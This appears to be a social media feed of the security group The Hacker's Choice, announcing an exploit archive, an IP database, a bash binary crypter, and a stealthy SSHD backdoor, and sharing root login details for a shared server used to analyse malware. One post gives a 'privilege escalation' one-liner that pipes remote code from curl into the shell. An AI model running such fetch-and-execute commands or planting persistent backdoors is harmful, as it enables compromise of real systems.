The Hacker‘s Choice

The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)

github: https://github.com/hackerschoice/
github: https://github.com/vanhauser-thc/

Last Notes

2026-03-02 06:40:22 UTC

❤️RELEASE: The TEAM-TESO cvs:
https://thc.org/team-teso/
Exploits, advisories, teso-informational (never released), burneye ELF crypter, bscan mass scanner, …plus some rare pictures.
Which 7350 exploit was your favourite?
Enjoy & Keep hacking,
Yours Sincerely,
Team-Teso (via THC’s bsky account).
https://media.infosec.exchange/infosec.exchange/media_attachments/files/116/158/209/518/341/885/original/bd67e9be03b646f9.png

2025-12-16 14:32:31 UTC

- reply

on my Ubuntu 22.0 and 24.0 the ed25519 host public key is not in PEM but in the <type> <key> format (no <comment> section).
What distro uses PEM? I can try to convert it to the type-format and see if the daemon blindly accepts it.

2025-12-16 10:52:06 UTC

THC Release 💥: The world’s largest IP<>Domain database: https://ip.thc.org
All forward and reverse IPs, all CNAMES and all subdomains of every domain. For free.
Updated monthly.
Try: curl https://ip.thc.org/1.1.1.1
Raw data: https://ip.thc.org/docs/bulk-data-access
(The fine work of messede 👌)
https://media.infosec.exchange/infosec.exchange/media_attachments/files/115/728/842/922/876/168/original/8581db5c518bd82f.png

2025-12-13 12:35:20 UTC

Can anyone test my *SMALLEST* SSHD backdoor?
- Survives updates.
- Does not use ~/.ssh/authorized_keys or PAM modules.
- Does not create any new file.
Just SSHD trickery.
Source at https://thc.org/tips
https://media.infosec.exchange/infosec.exchange/media_attachments/files/115/712/272/223/395/537/original/e7456225875f10bb.png

2025-12-02 09:12:17 UTC

Stealth died 😢 A member of Team-Teso, Phrack staff, and many other groups. A true hacker—perhaps as true as a hacker can ever be. WE MISS YOU. 🩷
More: https://thc.org/404
<stealth> we had joy we had fun we had a rootshell on a sun.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/115/649/197/381/570/797/original/6ceeb8059b179864.png

2025-11-21 09:37:19 UTC

EBury SSHD backdoor?? on 400,000 hosts?
Let's fuck around and find out. (Why +s on the .so file???)
Dissect, understand & ridicule. Join the group effort at https://thc.org/ops or SSH straight into the server and check ~/ebury:
ssh -o "SetEnv SECRET=lYQkdQHIuQyTJngVtIskqRLx" root@adm.segfault.net (password is 'segfault')
https://media.infosec.exchange/infosec.exchange/media_attachments/files/115/587/011/865/454/375/original/f923cb15d556f25f.png

2025-10-12 11:11:27 UTC

INTERVIEW of "MB" WhereWarlocksStayUpLate:
https://wherewarlocksstayuplate.com/interview/mohammed-bagha/
You have inspired many. We are fans:⚡️🌊🎠
https://wherewarlocksstayuplate.com/interview/mohammed-bagha/
https://media.infosec.exchange/infosec.exchange/media_attachments/files/115/360/889/315/862/287/original/6ff65652f5bace99.png

2025-04-01 07:51:08 UTC

CVE-20250401 - 7350pipe - Linux Privilege Escalation (all versions). Exploit (1-liner):
“. <(curl -SsfL https://thc.org/7350pipe)”
https://media.infosec.exchange/infosec.exchange/media_attachments/files/114/261/613/030/212/522/original/d2bcdf4ab5b0df0a.png

2025-03-25 12:47:56 UTC

PRE-RELEASE: I wrote a Linux Binary Runtime Crypter - in BASH 😅. Would love you fine people to TEST it _BEFORE_ release: https://github.com/hackerschoice/bincrypter
https://media.infosec.exchange/infosec.exchange/media_attachments/files/114/223/142/819/155/453/original/02b4f1c2b187914b.png

2025-02-02 22:14:05 UTC

DRAFT Release: Don't share outside mastodon yet. Please comment and review :>
https://hashnode.com/preview/6704fd37275ab42a417af94a
https://media.infosec.exchange/infosec.exchange/media_attachments/files/113/936/590/172/033/770/original/b68571373d515ccb.png